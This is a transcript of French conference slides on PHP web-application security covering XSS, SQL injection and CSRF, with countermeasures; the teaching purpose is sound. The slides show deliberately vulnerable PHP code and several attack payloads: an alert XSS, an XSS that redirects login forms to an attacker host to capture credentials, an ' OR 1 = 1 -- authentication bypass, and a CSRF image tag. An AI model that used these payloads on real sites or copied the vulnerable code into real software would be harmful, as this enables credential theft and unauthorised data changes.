conférence #nwxtech2 : sécurité web/php par maxime mauchaussée
Post on 27-Jun-2015
983 Views
Preview:
TRANSCRIPT
Introduction à la Sécurité des Introduction à la Sécurité des Applications Web / PHPApplications Web / PHP
Principes de basesPrincipes de bases XSSXSS Injection SQLInjection SQL CSRFCSRF
Maxime MauchausséeMaxime Mauchaussée
maxime@wixiweb.frmaxime@wixiweb.fr
@maximemdotnet@maximemdotnet
http://www.wixiweb.frhttp://www.wixiweb.fr
@wixiweb@wixiweb
Plan
Principes de bases de sécurisations Failles de type XSS
Définition Exemples / Exploitation Contremesures
Failles de type SQL Injection Définition Exemples / Exploitation Contremesures
Failles de type CSRF Définition Exemples / Exploitation Contremesures
Conclusion
Principes de bases
Ne jamais faire confiance aux données ne provenant pas de votre propre code
Paramètres d'URL, cookies, données de formulaire, etc. API, fichier d'import, base de données, etc. Variables d'environnement (user agent, referer, host, etc.)
Éviter de permettre la saisie de balises HTML L'utilisation de la balise <img> doit être extrêmement encadrée Interdire l'utilisation des attributs dangereux tels que « style » et
« onload » Ne jamais minimiser l'importance d'une faille
Toutes failles peut potentiellement être un jour exploitée Corriger le plus rapidement possible toute faille découverte
Failles de type XSS Définition
XSS : Cross Site Scripting
Le principe est d'injecter des données arbitraires dans un site web [...] Si ces données arrivent telles quelles dans la page web transmise au navigateur sans avoir été vérifiées, alors il existe une faille [Wikipedia]
Injection de code HTML ou Javascript
Le contenu injecté est utilisé pour pièger un utilisateur
Failles de type XSS – Exemple basique
Exemple de site web banal :
Failles de type XSS – Exemple basique
Fichier de vue PHP :<form action="recherche.php" method="get"><input type="text" name="q" value="<?php echo $_GET['q']; ?>" /><input type="submit" value="recherche" /></form>
Données saisies et envoyées au serveur :"/><script type="text/javascript">alert('faille xss')</script><"
HTML compromis retourné par le serveur :<input type="text" name="q" value=""/><script type="text/javascript">alert('faille xss')</script><"" />
Failles de type XSS – Exemple basique
« PAF ! Pastèque ! » :
Failles de type XSS – Exploitations
Dégradation de l'image / la réputation du site
Redirection automatique
Initialisation de téléchargement de fichiers vérolés
Vol d'identifiants
Détournement de session (hijacking)
Fixation de session
Failles de type XSS – Exemples d'exploit
Détournement de l'attribut « action » du formulaire d'authentification par injection :
"/><script>document.forms[0].action='http://attaquant.fr/owned.php';</script><"
Les utilisateurs enverront leurs identifiants vers le scripts défini par l'attaquant
Possibilité de redirection (parfois transparente) vers la page légitime
Failles de type XSS – Contremesures
Filtrer / nettoyer les données en entrée :
Toute donnée a un format : longueur, bornes, etc.
filter_var() ou filter_input()
strip_tags() en second choix
Ne pas autoriser la saisie de balises HTML
Et en sortie :
htmlspecialchars()
Failles de type SQL Injection Définition
Injection SQL
Terme qui désigne l'interprétation imprévue d'un code SQL dans une application. Ce code a été introduit par une voie détournée. [CERTA]
Failles de type SQL Injection – Exemple
Bypass de l'authentification :
Failles de type SQL Injection – Exemple
Code PHP :
mysql_query("SELECT id, login, profil FROM user WHERE login = '" . $_POST['login'] . "' AND password = '" . $_POST['password'] . "';");
Données saisies dans le champ « login » :
' OR 1 = 1 --
Interpretation de la requête SQL par PHP :
SELECT id, login, profil FROM user WHERE login = '' OR 1 = 1 --' AND password = ''
Failles de type SQL Injection Exploitation
Cette technique permet, [...] à un utilisateur malveillant de modifier la base de données, ou accéder à des informations qui ne lui sont pas destinées. [CERTA]
Privilege escalation – augmentation de droit d'accès
Vols de données
Destruction de données
Injection de code malveillant
Failles de type SQL Injection – Contremesures
addslashes()
SELECT id, login, profil FROM user WHERE login = '\' OR 1 = 1 --' AND password = ''
mysql_real_escape_string()
Requêtes préparées
Requêtes préparées > mysql_real_escape_string > addslashes
Ne pas utiliser le compte SQL « root » pour votre application
Failles de type CSRF Définition
CrossSite Request Forgery
Injection de requêtes illégitimes par rebond [CERTA]
Attaque provoquant l'envoi de requêtes par la victime, vers un site vulnérable, à son insu et en son nom. [CERTA]
N'exploite pas forcément l'absence de validation
Failles de type CSRF – Exemple basique
Système de commentaires :
Failles de type CSRF – Exemple
Un lien est fournit pour supprimer un de ses commentaires :http://sitemalfichu.fr/delete_comment?id=2
Prédiction de l'identifiant du commentaire de la victime par l'attaquant :
http://sitemalfichu.fr/delete_comment?id=1
Insertion d'une balise image dans un commentaire par l'attaquant :
<img src="http://sitemalfichu.fr/delete_comment?id=1" />
Au chargement de la page par la victime, elle supprime son commentaire
Failles de type CSRF – Exploitation
Suppression de données : message, compte utilisateur, etc.
Publication de messages : désinformation, spam, virus, etc.
Changement de mot de passe
Changement d'adresse email
Triche à des concours ou sondages
Failles de type CSRF – Contremesures
Utiliser la méthode HTTP POST
Bannir l'utilisation de $_REQUEST
Mettre en place un système de tokens pour les actions les plus sensibles
Interdire la possibilité de saisie de balises HTML
Conclusion
Ne jamais faire confiance aux données ne provenant pas de votre propre code
Toute donnée a un format : longeur, bornes, volume, etc.
Toujours filtrer / nettoyer ces données en entrée et en sortie
Corriger les failles le plus rapidement possible
La sécurité des applications web ne s'arrête pas là : configuration de PHP, du serveur web, de l'infrastructure réseau, etc.
Questions Réponses
Exemples de questions si vous n'avez pas d'idée :
Comment détecter de telles failles dans mon application ?
Pouvezvous citer d'autres exemples d'attaques XSS / CSRF ?
Quelles autres bonne pratiques peut on appliquer pour sécuriser des application web ?
Qu'est ce qu'une « blind sql injection » ?
Où trouvez des informations complémentaires à ce sujet ?
Existetil d'autres types de failles ?
Merci de votre attention :)
Contact :
maxime@wixiweb.fr
https://twitter.com/maximemdotnet
https://identi.ca/maximemdotnet
http://www.wixiweb.fr/
top related